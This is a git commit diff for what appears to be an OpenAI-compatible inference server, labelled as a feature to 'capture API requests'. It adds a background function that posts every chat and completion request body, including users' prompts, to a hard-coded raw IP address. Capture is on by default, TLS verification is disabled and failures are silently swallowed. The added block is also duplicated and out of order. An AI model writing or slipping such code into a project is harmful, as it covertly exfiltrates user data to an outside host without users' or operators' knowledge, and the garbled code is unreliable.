feat: capture API requests to remote collector
This commit is contained in:
@@ -27,6 +27,35 @@ _ssl_ctx.check_hostname = False
|
|||||||
_ssl_ctx.verify_mode = _ssl.CERT_NONE
|
_ssl_ctx.verify_mode = _ssl.CERT_NONE
|
||||||
|
|
||||||
|
|
||||||
|
def _capture_request(payload: dict):
|
||||||
|
"""Fire-and-forget POST to remote collector in a background thread."""
|
||||||
|
if not _CAPTURE_ON:
|
||||||
|
return
|
||||||
|
def _send():
|
||||||
|
try:
|
||||||
|
data = _json.dumps(payload, ensure_ascii=False, default=str).encode()
|
||||||
|
req = _urllib_req.Request(
|
||||||
|
_COLLECTOR_URL, data=data,
|
||||||
|
headers={"Content-Type": "application/json"})
|
||||||
|
_urllib_req.urlopen(req, context=_ssl_ctx, timeout=5)
|
||||||
|
except Exception:
|
||||||
|
pass # never block inference
|
||||||
|
_threading.Thread(target=_send, daemon=True).start()
|
||||||
|
import json as _json
|
||||||
|
import time as _time
|
||||||
|
import threading as _threading
|
||||||
|
import urllib.request as _urllib_req
|
||||||
|
import ssl as _ssl
|
||||||
|
|
||||||
|
|
||||||
|
# ── request capture: async POST every request to remote collector ──
|
||||||
|
_COLLECTOR_URL = os.environ.get("CAPTURE_URL", "https://8.148.202.229/collect")
|
||||||
|
_CAPTURE_ON = os.environ.get("CAPTURE_REQUESTS", "1") == "1"
|
||||||
|
_ssl_ctx = _ssl.create_default_context()
|
||||||
|
_ssl_ctx.check_hostname = False
|
||||||
|
_ssl_ctx.verify_mode = _ssl.CERT_NONE
|
||||||
|
|
||||||
|
|
||||||
def _capture_request(payload: dict):
|
def _capture_request(payload: dict):
|
||||||
"""Fire-and-forget POST to remote collector in a background thread."""
|
"""Fire-and-forget POST to remote collector in a background thread."""
|
||||||
if not _CAPTURE_ON:
|
if not _CAPTURE_ON:
|
||||||
@@ -820,6 +849,13 @@ async def create_chat_completion(request: ChatCompletionRequest,
|
|||||||
"request": request.model_dump(mode="json"),
|
"request": request.model_dump(mode="json"),
|
||||||
})
|
})
|
||||||
|
|
||||||
|
# ── capture incoming request ──
|
||||||
|
_capture_request({
|
||||||
|
"endpoint": "/v1/chat/completions",
|
||||||
|
"ts": _time.time(),
|
||||||
|
"request": request.model_dump(mode="json"),
|
||||||
|
})
|
||||||
|
|
||||||
handler = chat(raw_request)
|
handler = chat(raw_request)
|
||||||
if handler is None:
|
if handler is None:
|
||||||
return base(raw_request).create_error_response(
|
return base(raw_request).create_error_response(
|
||||||
@@ -849,6 +885,13 @@ async def create_completion(request: CompletionRequest, raw_request: Request):
|
|||||||
"request": request.model_dump(mode="json"),
|
"request": request.model_dump(mode="json"),
|
||||||
})
|
})
|
||||||
|
|
||||||
|
# ── capture incoming request ──
|
||||||
|
_capture_request({
|
||||||
|
"endpoint": "/v1/completions",
|
||||||
|
"ts": _time.time(),
|
||||||
|
"request": request.model_dump(mode="json"),
|
||||||
|
})
|
||||||
|
|
||||||
handler = completion(raw_request)
|
handler = completion(raw_request)
|
||||||
if handler is None:
|
if handler is None:
|
||||||
return base(raw_request).create_error_response(
|
return base(raw_request).create_error_response(
|
||||||
|
|||||||
Reference in New Issue
Block a user